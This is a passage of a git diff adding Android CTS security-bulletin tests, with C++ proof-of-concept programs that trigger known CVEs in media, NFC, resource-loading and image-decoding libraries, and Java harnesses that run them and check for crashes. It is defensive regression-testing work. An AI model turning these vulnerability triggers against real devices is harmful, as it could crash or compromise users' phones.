+ */
+
+#include <androidfw/ApkAssets.h>
+
+#include <vector>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using android::LoadedArsc;
+
+bool testInProgress = false;
+char enable_selective_overload = ENABLE_NONE;
+FILE *file = nullptr;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
+void exitHandler(void) {
+ if (file) {
+ fclose(file);
+ file = nullptr;
+ }
+}
+
+int main(int argc, char **argv) {
+ atexit(exitHandler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ FAIL_CHECK(argc >= 2);
+ file = fopen(argv[1], "r");
+ FAIL_CHECK(file);
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+ enable_selective_overload = ENABLE_ALL;
+ std::vector<uint8_t> buffer(size);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size);
+ testInProgress = true;
+ LoadedArsc::Load(buffer.data(), size);
+ testInProgress = false;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
new file mode 100644
index 00000000000..0597cdfa9c1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39665",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults"
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediaplayerservice",
+ "libstagefright_foundation",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libstagefright/rtsp",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
new file mode 100644
index 00000000000..a0080058784
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
@@ -0,0 +1,84 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include "../includes/common.h"
+
+#define private public
+#include "AAVCAssembler.h"
+
+using namespace android;
+
+bool isOverloadingEnabled = false;
+
+bool isTestInProgress = false;
+
+struct sigaction newAction, oldAction;
+
+static void *(*realMalloc)(size_t) = nullptr;
+
+void *malloc(size_t size) {
+ if (!realMalloc) {
+ realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ if (!realMalloc) {
+ return nullptr;
+ }
+ }
+ if (isOverloadingEnabled && (size == 0)) {
+ size_t pageSize = sysconf(_SC_PAGE_SIZE);
+ void *ptr = memalign(pageSize, pageSize);
+ mprotect(ptr, pageSize, PROT_NONE);
+ return ptr;
+ }
+ return realMalloc(size);
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*oldAction.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
+int main() {
+ sigemptyset(&newAction.sa_mask);
+ newAction.sa_flags = SA_SIGINFO;
+ newAction.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &newAction, &oldAction);
+
+ sp<ABuffer> buffer(new ABuffer(16));
+ FAIL_CHECK(buffer != nullptr);
+
+ sp<AMessage> meta = buffer->meta();
+ FAIL_CHECK(meta != nullptr);
+
+ uint32_t rtpTime = 16;
+ meta->setInt32("rtp-time", rtpTime);
+
+ AAVCAssembler *assembler = new AAVCAssembler(meta);
+ FAIL_CHECK(assembler != nullptr);
+
+ isOverloadingEnabled = true;
+ sp<ABuffer> zeroSizedBuffer(new ABuffer(0));
+ isOverloadingEnabled = false;
+
+ isTestInProgress = true;
+ assembler->checkSpsUpdated(zeroSizedBuffer);
+ isTestInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
new file mode 100644
index 00000000000..b4bdd3c07f0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39675",
+ compile_multilib: "64",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
new file mode 100644
index 00000000000..78ebda8c62b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
@@ -0,0 +1,22 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "gki.h"
+
+int main() {
+ return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
new file mode 100644
index 00000000000..109a665d75a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39804",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libbinder",
+ "libjnigraphics",
+ "libutils",
+ "libui",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
new file mode 100644
index 00000000000..db09dee2565
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written taking reference from
+// frameworks/base/native/graphics/jni/imagedecoder.cpp
+
+#include "../includes/common.h"
+#include <android/imagedecoder.h>
+#include <binder/IPCThreadState.h>
+#include <vector>
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+int main(int argc, char **argv) {
+ FAIL_CHECK(argc >= 2);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ android::ProcessState::self()->startThreadPool();
+ FILE *file = fopen(argv[1], "r");
+ FAIL_CHECK(file);
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+ std::vector<uint8_t> buffer(size);
+ fread((void *)buffer.data(), 1, size, file);
+ fclose(file);
+ testInProgress = true;
+ AImageDecoder *decoder;
+ if (AImageDecoder_createFromBuffer(buffer.data(), size, &decoder) ==
+ ANDROID_IMAGE_DECODER_SUCCESS) {
+ AImageDecoder_delete(decoder);
+ }
+ testInProgress = false;
+ FAIL_CHECK(decoder);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 63a5370188f..75bbd0ac298 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@ import org.junit.Test;
import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends BaseHostJUnit4Test {
+public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.BUG_183613671";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index e31cb479c0e..adf6103043a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@ import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends BaseHostJUnit4Test {
+public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.BUG_183963253";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 31da488db56..b127c851d70 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,14 +14,19 @@
* limitations under the License.
*/
+
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
-import com.android.tradefed.device.ITestDevice;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
+import java.util.regex.Pattern;
+
import org.junit.runner.RunWith;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2018_9558 extends SecurityTestCase {
@@ -29,16 +34,23 @@ public class CVE_2018_9558 extends SecurityTestCase {
/**
* b/112161557
* Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 112161557)
public void testPocCVE_2018_9558() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
String binaryName = "CVE-2018-9558";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
new file mode 100644
index 00000000000..181d660df48
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2012 extends SecurityTestCase {
+
+ /**
+ * b/120497437
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t3t_update_block (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 120497437)
+ @Test
+ public void testPocCVE_2019_2012() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2019-2012";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
new file mode 100644
index 00000000000..b7c2ea8fab3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2017 extends SecurityTestCase {
+
+ /**
+ * b/121035711
+ * Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 121035711)
+ @Test
+ public void testPocCVE_2019_2017() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-2017";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
new file mode 100644
index 00000000000..b65faeef587
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2020 extends SecurityTestCase {
+
+ /**
+ * b/116788646
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: llcp_dlc_proc_rx_pdu (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 116788646)
+ @Test
+ public void testPocCVE_2019_2020() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2019-2020";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "llcp_dlc_proc_rx_pdu"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.checkMinAddress(false);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
new file mode 100644
index 00000000000..21b22856fcc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2031 extends SecurityTestCase {
+
+ /**
+ * b/120502559
+ * Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t3t_act_handle_check_ndef_rsp (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 120502559)
+ @Test
+ public void testPocCVE_2019_2031() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-2031";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t3t_act_handle_check_ndef_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
new file mode 100644
index 00000000000..3aa0474a422
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 139017101)
+ @Test
+ public void testPocCVE_2020_0015() throws Exception {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2020_0015";
+ uninstallPackage(device, testPkg);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2020-0015.apk");
+ AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
new file mode 100644
index 00000000000..6689459f68a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0034 extends SecurityTestCase {
+
+ /**
+ * b/62458770
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @AsbSecurityTest(cveBugId = 62458770)
+ @Test
+ public void testPocCVE_2020_0034() throws Exception {
+ pocPusher.only32();
+ String binaryName = "CVE-2020-0034";
+ String inputFiles[] = {"cve_2020_0034.ivf"};
+ String signals[] = {CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 9573b393bf6..04d65f81dbc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,13 +16,16 @@
package android.security.cts;
-import com.android.tradefed.device.ITestDevice;
+import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
